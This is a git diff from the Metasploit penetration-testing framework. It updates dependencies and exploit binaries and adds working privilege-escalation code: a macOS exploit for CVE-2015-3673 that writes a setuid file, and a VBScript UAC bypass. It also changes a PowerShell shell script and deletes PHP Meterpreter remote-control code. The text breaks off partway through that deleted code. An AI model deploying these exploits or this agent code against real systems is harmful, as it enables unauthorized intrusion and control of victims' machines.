diff --git a/.gitignore b/.gitignore index 2151978a0c..532dcce24a 100644 --- a/.gitignore +++ b/.gitignore @@ -69,7 +69,10 @@ external/source/exploits/**/Release # the metasploit-payloads gem. data/meterpreter/*.dll data/meterpreter/*.bin +data/meterpreter/*.jar data/meterpreter/*.lso +data/android +data/java # Avoid checking in Meterpreter libs that are built from # private source. If you're interested in this functionality, diff --git a/.travis.yml b/.travis.yml index 2f6072ffd2..cbc78a6681 100644 --- a/.travis.yml +++ b/.travis.yml @@ -22,7 +22,7 @@ before_script: - bundle exec rake db:migrate script: # fail build if db/schema.rb update is not committed - - git diff --exit-code && bundle exec rake $RAKE_TASKS + - git diff --exit-code db/schema.rb && bundle exec rake $RAKE_TASKS sudo: false rvm: - '2.1.6' diff --git a/Gemfile.lock b/Gemfile.lock index 1723828a2a..aeb9d12d1e 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,33 +1,33 @@ PATH remote: . specs: - metasploit-framework (4.11.0.pre.dev) + metasploit-framework (4.11.4) actionpack (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) bcrypt jsobfu (~> 0.2.0) json - metasploit-concern (~> 1.0) - metasploit-model (~> 1.0) - metasploit-payloads (= 0.0.7) + metasploit-concern (= 1.0.0) + metasploit-model (= 1.0.0) + metasploit-payloads (= 1.0.12) msgpack nokogiri packetfu (= 1.1.9) railties rb-readline-r7 - recog (~> 1.0) + recog (= 2.0.6) robots rubyzip (~> 1.1) sqlite3 tzinfo - metasploit-framework-db (4.11.0.pre.dev) + metasploit-framework-db (4.11.4) activerecord (>= 4.0.9, < 4.1.0) - metasploit-credential (~> 1.0) - metasploit-framework (= 4.11.0.pre.dev) - metasploit_data_models (~> 1.0) + metasploit-credential (= 1.0.0) + metasploit-framework (= 4.11.4) + metasploit_data_models (= 1.2.5) pg (>= 0.11) - metasploit-framework-pcap (4.11.0.pre.dev) - metasploit-framework (= 4.11.0.pre.dev) + metasploit-framework-pcap (4.11.4) + metasploit-framework (= 4.11.4) network_interface (~> 0.0.1) pcaprub @@ -104,7 +104,7 @@ GEM i18n (0.7.0) jsobfu (0.2.1) rkelly-remix (= 0.0.6) - json (1.8.2) + json (1.8.3) mail (2.6.3) mime-types (>= 1.16, < 3) metasploit-concern (1.0.0) @@ -123,8 +123,8 @@ GEM activemodel (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (0.0.7) - metasploit_data_models (1.1.0) + metasploit-payloads (1.0.12) + metasploit_data_models (1.2.5) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) arel-helpers @@ -133,13 +133,13 @@ GEM pg postgres_ext railties (>= 4.0.9, < 4.1.0) - recog (~> 1.0) + recog (~> 2.0) method_source (0.8.2) - mime-types (2.4.3) + mime-types (2.6.1) mini_portile (0.6.2) minitest (4.7.5) - msgpack (0.5.11) - multi_json (1.11.0) + msgpack (0.6.2) + multi_json (1.11.1) multi_test (0.1.2) network_interface (0.0.1) nokogiri (1.6.6.2) @@ -156,7 +156,7 @@ GEM coderay (~> 1.1.0) method_source (~> 0.8.1) slop (~> 3.4) - rack (1.5.3) + rack (1.5.5) rack-test (0.6.3) rack (>= 1.0) rails (4.0.13) @@ -174,7 +174,7 @@ GEM thor (>= 0.18.1, < 2.0) rake (10.4.2) rb-readline-r7 (0.5.2.0) - recog (1.0.29) + recog (2.0.6) nokogiri redcarpet (3.2.3) rkelly-remix (0.0.6) @@ -198,7 +198,7 @@ GEM rspec-core (~> 2.99.0) rspec-expectations (~> 2.99.0) rspec-mocks (~> 2.99.0) - rubyntlm (0.5.0) + rubyntlm (0.5.1) rubyzip (1.1.7) shoulda-matchers (2.8.0) activesupport (>= 3.0.0) diff --git a/config/database.yml.example b/config/database.yml.example index dfcb0c9213..060dd23625 100644 --- a/config/database.yml.example +++ b/config/database.yml.example @@ -3,8 +3,7 @@ # these days. (No SQLite, no MySQL). # # To set up a metasploit database, follow the directions hosted at: -# https://fedoraproject.org/wiki/Metasploit_Postgres_Setup (Works on -# essentially any Linux distro, not just Fedora) +# http://r-7.co/MSF-DEV#set-up-postgresql development: &pgsql adapter: postgresql database: metasploit_framework_development diff --git a/data/android/apk/AndroidManifest.xml b/data/android/apk/AndroidManifest.xml deleted file mode 100644 index 8671dfed52..0000000000 Binary files a/data/android/apk/AndroidManifest.xml and /dev/null differ diff --git a/data/android/apk/classes.dex b/data/android/apk/classes.dex deleted file mode 100644 index 598f2bd3db..0000000000 Binary files a/data/android/apk/classes.dex and /dev/null differ diff --git a/data/android/apk/resources.arsc b/data/android/apk/resources.arsc deleted file mode 100644 index 03f6c44d28..0000000000 Binary files a/data/android/apk/resources.arsc and /dev/null differ diff --git a/data/android/libs/armeabi/libndkstager.so b/data/android/libs/armeabi/libndkstager.so deleted file mode 100644 index f56cfbe78d..0000000000 Binary files a/data/android/libs/armeabi/libndkstager.so and /dev/null differ diff --git a/data/android/libs/mips/libndkstager.so b/data/android/libs/mips/libndkstager.so deleted file mode 100644 index e9635c6bf3..0000000000 Binary files a/data/android/libs/mips/libndkstager.so and /dev/null differ diff --git a/data/android/libs/x86/libndkstager.so b/data/android/libs/x86/libndkstager.so deleted file mode 100644 index 358834f300..0000000000 Binary files a/data/android/libs/x86/libndkstager.so and /dev/null differ diff --git a/data/android/meterpreter.jar b/data/android/meterpreter.jar deleted file mode 100644 index b1efa83820..0000000000 Binary files a/data/android/meterpreter.jar and /dev/null differ diff --git a/data/android/metstage.jar b/data/android/metstage.jar deleted file mode 100644 index 447bf2a576..0000000000 Binary files a/data/android/metstage.jar and /dev/null differ diff --git a/data/android/shell.jar b/data/android/shell.jar deleted file mode 100644 index df61c7beeb..0000000000 Binary files a/data/android/shell.jar and /dev/null differ diff --git a/data/exploits/CVE-2014-0515/Graph.swf b/data/exploits/CVE-2014-0515/Graph.swf deleted file mode 100755 index aa30c2421e..0000000000 Binary files a/data/exploits/CVE-2014-0515/Graph.swf and /dev/null differ diff --git a/data/exploits/CVE-2014-0515/msf.swf b/data/exploits/CVE-2014-0515/msf.swf new file mode 100644 index 0000000000..f3365d8d43 Binary files /dev/null and b/data/exploits/CVE-2014-0515/msf.swf differ diff --git a/data/exploits/CVE-2014-0556/msf.swf b/data/exploits/CVE-2014-0556/msf.swf old mode 100755 new mode 100644 index 24cfc1a53a..3cf2bc3d4f Binary files a/data/exploits/CVE-2014-0556/msf.swf and b/data/exploits/CVE-2014-0556/msf.swf differ diff --git a/data/exploits/CVE-2014-0569/msf.swf b/data/exploits/CVE-2014-0569/msf.swf index 90737fca36..79e5b8f472 100755 Binary files a/data/exploits/CVE-2014-0569/msf.swf and b/data/exploits/CVE-2014-0569/msf.swf differ diff --git a/data/exploits/CVE-2014-8440/msf.swf b/data/exploits/CVE-2014-8440/msf.swf index 823490c7e7..5062779ed8 100755 Binary files a/data/exploits/CVE-2014-8440/msf.swf and b/data/exploits/CVE-2014-8440/msf.swf differ diff --git a/data/exploits/CVE-2015-0016/cve-2015-0016.dll b/data/exploits/CVE-2015-0016/cve-2015-0016.dll index aa66055e6d..2d2f1dbba3 100755 Binary files a/data/exploits/CVE-2015-0016/cve-2015-0016.dll and b/data/exploits/CVE-2015-0016/cve-2015-0016.dll differ diff --git a/data/exploits/CVE-2015-0311/msf.swf b/data/exploits/CVE-2015-0311/msf.swf index e94528b715..64d9be5b76 100644 Binary files a/data/exploits/CVE-2015-0311/msf.swf and b/data/exploits/CVE-2015-0311/msf.swf differ diff --git a/data/exploits/CVE-2015-0313/msf.swf b/data/exploits/CVE-2015-0313/msf.swf old mode 100755 new mode 100644 index 68b0ad0e6b..bcfbde4dbc Binary files a/data/exploits/CVE-2015-0313/msf.swf and b/data/exploits/CVE-2015-0313/msf.swf differ diff --git a/data/exploits/CVE-2015-0336/msf.swf b/data/exploits/CVE-2015-0336/msf.swf old mode 100755 new mode 100644 index 4a080464a1..8a05ef2a53 Binary files a/data/exploits/CVE-2015-0336/msf.swf and b/data/exploits/CVE-2015-0336/msf.swf differ diff --git a/data/exploits/CVE-2015-0336/trigger.swf b/data/exploits/CVE-2015-0336/trigger.swf index 6437471183..3d87fc3c70 100755 Binary files a/data/exploits/CVE-2015-0336/trigger.swf and b/data/exploits/CVE-2015-0336/trigger.swf differ diff --git a/data/exploits/CVE-2015-0336/trigger_linux.swf b/data/exploits/CVE-2015-0336/trigger_linux.swf new file mode 100755 index 0000000000..a5dbcdba5b Binary files /dev/null and b/data/exploits/CVE-2015-0336/trigger_linux.swf differ diff --git a/data/exploits/CVE-2015-0359/msf.swf b/data/exploits/CVE-2015-0359/msf.swf index 4befa69648..28e9a0938e 100755 Binary files a/data/exploits/CVE-2015-0359/msf.swf and b/data/exploits/CVE-2015-0359/msf.swf differ diff --git a/data/exploits/CVE-2015-1701/cve-2015-1701.x64.dll b/data/exploits/CVE-2015-1701/cve-2015-1701.x64.dll new file mode 100755 index 0000000000..0aa4a0913b Binary files /dev/null and b/data/exploits/CVE-2015-1701/cve-2015-1701.x64.dll differ diff --git a/data/exploits/CVE-2015-1701/cve-2015-1701.x86.dll b/data/exploits/CVE-2015-1701/cve-2015-1701.x86.dll new file mode 100755 index 0000000000..6fe8681520 Binary files /dev/null and b/data/exploits/CVE-2015-1701/cve-2015-1701.x86.dll differ diff --git a/data/exploits/CVE-2015-3090/msf.swf b/data/exploits/CVE-2015-3090/msf.swf new file mode 100644 index 0000000000..ec4c95a9d5 Binary files /dev/null and b/data/exploits/CVE-2015-3090/msf.swf differ diff --git a/data/exploits/CVE-2015-3105/msf.swf b/data/exploits/CVE-2015-3105/msf.swf new file mode 100755 index 0000000000..ab63fe0cf2 Binary files /dev/null and b/data/exploits/CVE-2015-3105/msf.swf differ diff --git a/data/exploits/CVE-2015-3113/msf.swf b/data/exploits/CVE-2015-3113/msf.swf new file mode 100755 index 0000000000..ec2bd84de5 Binary files /dev/null and b/data/exploits/CVE-2015-3113/msf.swf differ diff --git a/data/exploits/CVE-2015-3673/exploit.daplug b/data/exploits/CVE-2015-3673/exploit.daplug new file mode 100755 index 0000000000..17d8eacda4 Binary files /dev/null and b/data/exploits/CVE-2015-3673/exploit.daplug differ diff --git a/data/exploits/CVE-2015-3673/exploit.m b/data/exploits/CVE-2015-3673/exploit.m new file mode 100644 index 0000000000..3cafbfc591 --- /dev/null +++ b/data/exploits/CVE-2015-3673/exploit.m @@ -0,0 +1,33 @@ +// gcc -bundle exploit.m -arch x86_64 -o exploit.daplug -framework Cocoa + +#include +#include +#include +#include +#include + +#define PRIV_FWK_BASE "/System/Library/PrivateFrameworks" +#define FWK_BASE "/System/Library/Frameworks" + +void __attribute__ ((constructor)) test(void) +{ + void* p = dlopen(PRIV_FWK_BASE "/SystemAdministration.framework/SystemAdministration", RTLD_NOW); + + if (p != NULL) + { + id sharedClient = objc_msgSend(objc_lookUpClass("WriteConfigClient"), @selector(sharedClient)); + objc_msgSend(sharedClient, @selector(authenticateUsingAuthorizationSync:), nil); + id tool = objc_msgSend(sharedClient, @selector(remoteProxy)); + + NSString* inpath = [[[NSProcessInfo processInfo]environment]objectForKey:@"PAYLOAD_IN"]; + NSString* outpath = [[[NSProcessInfo processInfo]environment]objectForKey:@"PAYLOAD_OUT"]; + NSData* data = [NSData dataWithContentsOfFile:inpath]; + + objc_msgSend(tool, @selector(createFileWithContents:path:attributes:), + data, + outpath, + @{ NSFilePosixPermissions : @04777 }); + } + + exit(1); +} diff --git a/data/exploits/CVE-2015-5119/msf.swf b/data/exploits/CVE-2015-5119/msf.swf new file mode 100755 index 0000000000..c1a78dee0c Binary files /dev/null and b/data/exploits/CVE-2015-5119/msf.swf differ diff --git a/data/exploits/CVE-2015-5122/msf.swf b/data/exploits/CVE-2015-5122/msf.swf new file mode 100755 index 0000000000..08b95c4261 Binary files /dev/null and b/data/exploits/CVE-2015-5122/msf.swf differ diff --git a/data/exploits/powershell/powerfun.ps1 b/data/exploits/powershell/powerfun.ps1 index b6fd7bfda3..8792bb2abc 100644 --- a/data/exploits/powershell/powerfun.ps1 +++ b/data/exploits/powershell/powerfun.ps1 @@ -36,7 +36,7 @@ function powerfun $stream = $sslStream } - [byte[]]$bytes = 0..255|%{0} + [byte[]]$bytes = 0..20000|%{0} $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") $stream.Write($sendbytes,0,$sendbytes.Length) diff --git a/data/exploits/scripthost_uac_bypass/bypass.vbs b/data/exploits/scripthost_uac_bypass/bypass.vbs new file mode 100644 index 0000000000..0ba2444d13 --- /dev/null +++ b/data/exploits/scripthost_uac_bypass/bypass.vbs @@ -0,0 +1,62 @@ +Option Explicit + +Dim oWs: Set oWs = CreateObject("WScript.Shell") +Dim oFso: Set oFso = CreateObject("Scripting.FileSystemObject") +Dim HOST_MANIFEST: HOST_MANIFEST = _ + "" & vbCrLf & _ + "" & vbCrLf & _ + " " & vbCrLf & _ + " " & vbCrLf & _ + " " & vbCrLf & _ + " " & vbCrLf & _ + " " & vbCrLf & _ + " " & vbCrLf & _ + " " & vbCrLf & _ + " " & vbCrLf & _ + " " & vbCrLf & _ + " true" & vbCrLf & _ + " true" & vbCrLf & _ + " " & vbCrLf & _ + " " & vbCrLf & _ + "" + + +Sub Copy(ByVal sSource, ByVal sTarget) + Dim sTempFile: sTempFile = GetTempFilename() + oWs.Run "makecab """ & sSource & """ """ & sTempFile & """", 0, True + oWs.Run "wusa """ & sTempFile & """ /extract:" & sTarget, 0, True + oFso.DeleteFile sTempFile +End Sub + +Sub Elevate() + Const WINDIR = "%windir%" + Dim sPath: sPath = Left(WScript.ScriptFullName, _ + InStrRev(WScript.ScriptFullName, "\")) + Dim sHost: sHost = Right(WScript.FullName, 11) + Dim sManifest: sManifest = sPath & sHost & ".manifest" + Dim oStream: Set oStream = oFso.CreateTextFile(sManifest) + oStream.Write HOST_MANIFEST + oStream.Close + Copy sManifest, WINDIR + Copy WScript.FullName, WINDIR + oWs.Run WINDIR & "\" & sHost & " """ & WScript.ScriptFullName & """ /RESTART" + oFso.DeleteFile sManifest +End Sub + +Function GetTempFilename() + Const vbTemporaryFolder = 2 + Dim sTempFolder: sTempFolder = oFso.GetSpecialFolder(vbTemporaryFolder) + GetTempFilename = oFso.BuildPath(sTempFolder, oFso.GetTempName()) +End Function + +Sub RunAsAdmin() + oWs.Run "COMMAND" +End Sub + +If WScript.Arguments.Named.Exists("RESTART") Then + RunAsAdmin +Else + Elevate +End If diff --git a/data/exploits/tpwn/tpwn b/data/exploits/tpwn/tpwn new file mode 100755 index 0000000000..dabce3a9ec Binary files /dev/null and b/data/exploits/tpwn/tpwn differ diff --git a/data/flash_detector/flashdetector.swf b/data/flash_detector/flashdetector.swf new file mode 100755 index 0000000000..30293d10dc Binary files /dev/null and b/data/flash_detector/flashdetector.swf differ diff --git a/data/js/detect/os.js b/data/js/detect/os.js index 58447e8b51..a93197e53b 100644 --- a/data/js/detect/os.js +++ b/data/js/detect/os.js @@ -973,6 +973,12 @@ os_detect.getVersion = function(){ os_name = "Windows 8"; os_sp = "SP0"; break; + case "1100": + // IE 11.0.10011.0 Windows 10.0 (Build 10074) English - insider preview + ua_version = "11.0"; + os_name = "Windows 10"; + os_sp = "SP0"; + break; default: unknown_fingerprint = version; break; @@ -1027,7 +1033,7 @@ os_detect.getVersion = function(){ } switch (navigator.appMinorVersion){ case ";SP2;": - ua_version += ";SP2"; + os_sp = "SP2"; break; } } diff --git a/data/meterpreter/ext_server_android.jar b/data/meterpreter/ext_server_android.jar new file mode 100644 index 0000000000..e69de29bb2 diff --git a/data/meterpreter/ext_server_stdapi.php b/data/meterpreter/ext_server_stdapi.php deleted file mode 100755 index e3f72ee0d5..0000000000 --- a/data/meterpreter/ext_server_stdapi.php +++ /dev/null @@ -1,1116 +0,0 @@ -#= 4.0.0. - * @author soywiz at php dot net - * @since 17-Jul-2006 10:12 - */ -if (!function_exists('fnmatch')) { -function fnmatch($pattern, $string) { - return @preg_match('/^' . strtr(addcslashes($pattern, '\\/.+^$(){}=!<>|'), array('*' => '.*', '?' => '.?')) . '$/i', $string); -} -} - -/** - * Prepends $string to each element of $array - * If $deep is true, will indeed also apply to sub-arrays - * @author BigueNique AT yahoo DOT ca - * @since 080324 - */ -if (!function_exists('array_prepend')) { -function array_prepend($array, $string, $deep=false) { - if(empty($array)||empty($string)) return $array; - foreach($array as $key => $element) - if(is_array($element)) - if($deep) - $array[$key] = array_prepend($element,$string,$deep); - else - trigger_error('array_prepend: array element',E_USER_WARNING); - else - $array[$key] = $string.$element; - return $array; - -} -} - - -## END Search Helpers - -if (!function_exists('cononicalize_path')) { -function cononicalize_path($path) { - $path = str_replace(array("/", "\\"), DIRECTORY_SEPARATOR, $path); - return $path; -} -} - - -# -# Need to nail down what this should actually do. Ruby's File.expand_path is -# for cononicalizing a path (e.g., removing /./ and ../) and expanding "~" into -# a path to the current user's homedir. In contrast, Meterpreter has -# traditionally used this to get environment variables from the server. -# -if (!function_exists('stdapi_fs_file_expand_path')) { -register_command('stdapi_fs_file_expand_path'); -function stdapi_fs_file_expand_path($req, &$pkt) { - my_print("doing expand_path"); - $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH); - $env = $path_tlv['value']; - my_print("Request for: '$env'"); - if (!is_windows()) { - # Handle some basic windows-isms when we can - switch ($env) { - case "%COMSPEC%": - $path = "/bin/sh"; - break; - case "%TEMP%": - case "%TMP%": - $path = "/tmp"; - break; - default: - # Don't know what the user meant, just try it as an environment - # variable and hope for the best. - $path = getenv($env); - } - } else { - $path = getenv($env); - if (empty($path) and ($env == "%COMSPEC%")) { - # hope it's in the path - $path = "cmd.exe"; - } - } - my_print("Returning with an answer of: '$path'"); - - if ($path) { - packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_PATH, $path)); - return ERROR_SUCCESS; - } - return ERROR_FAILURE; -} -} - -if (!function_exists('stdapi_fs_delete_dir')) { -register_command('stdapi_fs_delete_dir'); -function stdapi_fs_delete_dir($req, &$pkt) { - my_print("doing rmdir"); - $path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH); - $ret = @rmdir(cononicalize_path($path_tlv['value'])); - return $ret ? ERROR_SUCCESS : ERROR_FAILURE; -} -} - -if (!function_exists('stdapi_fs_mkdir')) { -register_command('stdapi_fs_mkdir'); -function stdapi_fs_mkdir($req, &$pkt) { - my_print("doing mkdir"); - $path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH); - $ret = @mkdir(cononicalize_path($path_tlv['value'])); - return $ret ? ERROR_SUCCESS : ERROR_FAILURE; -} -} - -# works -if (!function_exists('stdapi_fs_chdir')) { -register_command('stdapi_fs_chdir'); -function stdapi_fs_chdir($req, &$pkt) { - my_print("doing chdir"); - $path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH); - $ret = @chdir(cononicalize_path($path_tlv['value'])); - return $ret ? ERROR_SUCCESS : ERROR_FAILURE; -} -} - -# works -if (!function_exists('stdapi_fs_delete')) { -register_command('stdapi_fs_delete'); -function stdapi_fs_delete($req, &$pkt) { - my_print("doing delete"); - $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_NAME); - $ret = @unlink(cononicalize_path($path_tlv['value'])); - return $ret ? ERROR_SUCCESS : ERROR_FAILURE; -} -} - -# works -if (!function_exists('stdapi_fs_getwd')) { -register_command('stdapi_fs_getwd'); -function stdapi_fs_getwd($req, &$pkt) { - my_print("doing pwd"); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_DIRECTORY_PATH, getcwd())); - return ERROR_SUCCESS; -} -} - -# works partially, need to get the path argument to mean the same thing as in -# windows -if (!function_exists('stdapi_fs_ls')) { -register_command('stdapi_fs_ls'); -function stdapi_fs_ls($req, &$pkt) { - my_print("doing ls"); - $path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH); - $path = cononicalize_path($path_tlv['value']); - $dir_handle = @opendir($path); - - if ($dir_handle) { - while ($file = readdir($dir_handle)) { - if ($file != "." && $file != "..") { - #my_print("Adding file $file"); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $file)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_PATH, $path . DIRECTORY_SEPARATOR . $file)); - $st = stat($path . DIRECTORY_SEPARATOR . $file); - $st_buf = ""; - $st_buf .= pack("V", $st['dev']); - $st_buf .= pack("v", $st['ino']); - $st_buf .= pack("v", $st['mode']); - $st_buf .= pack("v", $st['nlink']); - $st_buf .= pack("v", $st['uid']); - $st_buf .= pack("v", $st['gid']); - $st_buf .= pack("v", 0); - $st_buf .= pack("V", $st['rdev']); - $st_buf .= pack("V", $st['size']); - $st_buf .= pack("V", $st['atime']); - $st_buf .= pack("V", $st['mtime']); - $st_buf .= pack("V", $st['ctime']); - $st_buf .= pack("V", $st['blksize']); - $st_buf .= pack("V", $st['blocks']); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_STAT_BUF, $st_buf)); - } - } - closedir($dir_handle); - return ERROR_SUCCESS; - } else { - return ERROR_FAILURE; - } -} -} - -if (!function_exists('stdapi_fs_separator')) { -register_command('stdapi_fs_separator'); -function stdapi_fs_separator($req, &$pkt) { - packet_add_tlv($pkt, create_tlv(TLV_TYPE_STRING, DIRECTORY_SEPARATOR)); - return ERROR_SUCCESS; -} -} - -if (!function_exists('stdapi_fs_stat')) { -register_command('stdapi_fs_stat'); -function stdapi_fs_stat($req, &$pkt) { - my_print("doing stat"); - $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH); - $path = cononicalize_path($path_tlv['value']); - - $st = stat($path); - if ($st) { - $st_buf = ""; - $st_buf .= pack("V", $st['dev']); - $st_buf .= pack("v", $st['ino']); - $st_buf .= pack("v", $st['mode']); - $st_buf .= pack("v", $st['nlink']); - $st_buf .= pack("v", $st['uid']); - $st_buf .= pack("v", $st['gid']); - $st_buf .= pack("v", 0); - $st_buf .= pack("V", $st['rdev']); - $st_buf .= pack("V", $st['size']); - $st_buf .= pack("V", $st['atime']); - $st_buf .= pack("V", $st['mtime']); - $st_buf .= pack("V", $st['ctime']); - $st_buf .= pack("V", $st['blksize']); - $st_buf .= pack("V", $st['blocks']); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_STAT_BUF, $st_buf)); - return ERROR_SUCCESS; - } else { - return ERROR_FAILURE; - } -} -} - -# works -if (!function_exists('stdapi_fs_delete_file')) { -register_command('stdapi_fs_delete_file'); -function stdapi_fs_delete_file($req, &$pkt) { - my_print("doing delete"); - $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH); - $path = cononicalize_path($path_tlv['value']); - - if ($path && is_file($path)) { - $worked = @unlink($path); - return ($worked ? ERROR_SUCCESS : ERROR_FAILURE); - } else { - return ERROR_FAILURE; - } -} -} - -if (!function_exists('stdapi_fs_search')) { -register_command('stdapi_fs_search'); -function stdapi_fs_search($req, &$pkt) { - my_print("doing search"); - - $root_tlv = packet_get_tlv($req, TLV_TYPE_SEARCH_ROOT); - $root = cononicalize_path($root_tlv['value']); - $glob_tlv = packet_get_tlv($req, TLV_TYPE_SEARCH_GLOB); - $glob = cononicalize_path($glob_tlv['value']); - $recurse_tlv = packet_get_tlv($req, TLV_TYPE_SEARCH_RECURSE); - $recurse = $recurse_tlv['value']; - - if (!$root) { - $root = '.'; - } - - my_print("glob: $glob, root: $root, recurse: $recurse"); - $flags = GLOB_PATH; - if ($recurse) { - $flags |= GLOB_RECURSE; - } - $files = safe_glob($root ."/". $glob, $flags); - if ($files and is_array($files)) { - dump_array($files); - foreach ($files as $file) { - $file_tlvs = ""; - $s = stat($file); - $p = dirname($file); - $f = basename($file); - $file_tlvs .= tlv_pack(create_tlv(TLV_TYPE_FILE_PATH, $p)); - $file_tlvs .= tlv_pack(create_tlv(TLV_TYPE_FILE_NAME, $f)); - $file_tlvs .= tlv_pack(create_tlv(TLV_TYPE_FILE_SIZE, $s['size'])); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_SEARCH_RESULTS, $file_tlvs)); - } - } - return ERROR_SUCCESS; -} -} - - -if (!function_exists('stdapi_fs_md5')) { -register_command("stdapi_fs_md5"); -function stdapi_fs_md5($req, &$pkt) { - $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH); - $path = cononicalize_path($path_tlv['value']); - - if (is_callable("md5_file")) { - $md5 = md5_file($path); - } else { - $md5 = md5(file_get_contents($path)); - } - $md5 = pack("H*", $md5); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_HASH, $md5)); - return ERROR_SUCCESS; -} -} - - -if (!function_exists('stdapi_fs_sha1')) { -register_command("stdapi_fs_sha1"); -function stdapi_fs_sha1($req, &$pkt) { - $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH); - $path = cononicalize_path($path_tlv['value']); - - if (is_callable("sha1_file")) { - $sha1 = sha1_file($path); - } else { - $sha1 = sha1(file_get_contents($path)); - } - $sha1 = pack("H*", $sha1); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_HASH, $sha1)); - return ERROR_SUCCESS; -} -} - - -# Sys Config - -# works -if (!function_exists('stdapi_sys_config_getuid')) { -register_command('stdapi_sys_config_getuid'); -function stdapi_sys_config_getuid($req, &$pkt) { - my_print("doing getuid"); - if (is_callable('posix_getuid')) { - $uid = posix_getuid(); - $pwinfo = posix_getpwuid($uid); - $user = $pwinfo['name'] . " ($uid)"; - } else { - # The posix functions aren't available, this is probably windows. Use - # the functions for getting user name and uid based on file ownership - # instead. - $user = get_current_user() . " (" . getmyuid() . ")"; - } - packet_add_tlv($pkt, create_tlv(TLV_TYPE_USER_NAME, $user)); - return ERROR_SUCCESS; -} -} - -if (!function_exists('stdapi_sys_config_getenv')) { -register_command('stdapi_sys_config_getenv'); -function stdapi_sys_config_getenv($req, &$pkt) { - my_print("doing getenv"); - - $variable_tlvs = packet_get_all_tlvs($req, TLV_TYPE_ENV_VARIABLE); - - # If we decide some day to have sys.config.getenv return all env - # vars when given an empty search list, this is one way to do it. - #if (empty($variable_tlvs)) { - # # We don't have a var to look up, return all of 'em - # $variables = array_keys($_SERVER); - #} else { - # $variables = array(); - # foreach ($variable_tlvs as $tlv) { - # array_push($variables, $tlv['value']); - # } - #} - - foreach ($variable_tlvs as $name) { - $canonical_name = str_replace(array("$","%"), "", $name['value']); - $env = getenv($canonical_name); - if ($env !== FALSE) { - $grp = ""; - $grp .= tlv_pack(create_tlv(TLV_TYPE_ENV_VARIABLE, $canonical_name)); - $grp .= tlv_pack(create_tlv(TLV_TYPE_ENV_VALUE, $env)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_ENV_GROUP, $grp)); - } - } - - return ERROR_SUCCESS; -} -} - - -# Unimplemented becuase it's unimplementable -#if (!function_exists('stdapi_sys_config_rev2self')) { -#register_command('stdapi_sys_config_rev2self'); -#function stdapi_sys_config_rev2self($req, &$pkt) { -# my_print("doing rev2self"); -# return ERROR_FAILURE; -#} -#} - -# works -if (!function_exists('stdapi_sys_config_sysinfo')) { -register_command('stdapi_sys_config_sysinfo'); -function stdapi_sys_config_sysinfo($req, &$pkt) { - my_print("doing sysinfo"); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMPUTER_NAME, php_uname("n"))); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_OS_NAME, php_uname())); - return ERROR_SUCCESS; -} -} - -# Global list of processes so we know what to kill when a channel gets closed -$GLOBALS['processes'] = array(); - -if (!function_exists('stdapi_sys_process_execute')) { -register_command('stdapi_sys_process_execute'); -function stdapi_sys_process_execute($req, &$pkt) { - global $channel_process_map, $processes; - - my_print("doing execute"); - $cmd_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_PATH); - $args_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_ARGUMENTS); - $flags_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_FLAGS); - - $cmd = $cmd_tlv['value']; - $args = $args_tlv['value']; - $flags = $flags_tlv['value']; - - # If there was no command specified, well, a user sending an empty command - # deserves failure. - my_print("Cmd: $cmd $args"); - if (0 > strlen($cmd)) { - return ERROR_FAILURE; - } - $real_cmd = $cmd ." ". $args; - - $pipe_desc = array(array('pipe','r'), array('pipe','w')); - if (is_windows()) { - # see http://us2.php.net/manual/en/function.proc-open.php#97012 - array_push($pipe_desc, array('pipe','a')); - } else { - array_push($pipe_desc, array('pipe','w')); - } - - # Now that we've got the command built, run it. If it worked, we'll send - # back a handle identifier. - $handle = proc_open($real_cmd, $pipe_desc, $pipes); - if (!is_resource($handle)) { - return ERROR_FAILURE; - } - - if (is_callable('proc_get_status')) { - $status = proc_get_status($handle); - $pid = $status['pid']; - } else { - $pid = 0; - } - - $proc = array( 'handle' => $handle, 'pipes' => $pipes ); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, $pid)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_PROCESS_HANDLE, count($processes))); - if ($flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) { - my_print("Channelized"); - # Then the client wants a channel set up to handle this process' stdio, - # register all the necessary junk to make that happen. - foreach ($pipes as $p) { - register_stream($p); - } - #stream_set_blocking($pipes[0], 1); - #stream_set_blocking($pipes[1], 1); - #stream_set_blocking($pipes[2], 1); - - $cid = register_channel($pipes[0], $pipes[1], $pipes[2]); - $channel_process_map[$cid] = $proc; - - $proc['cid'] = $cid; - - packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid)); - #} else { - # Otherwise, don't care about stdin/stdout, just 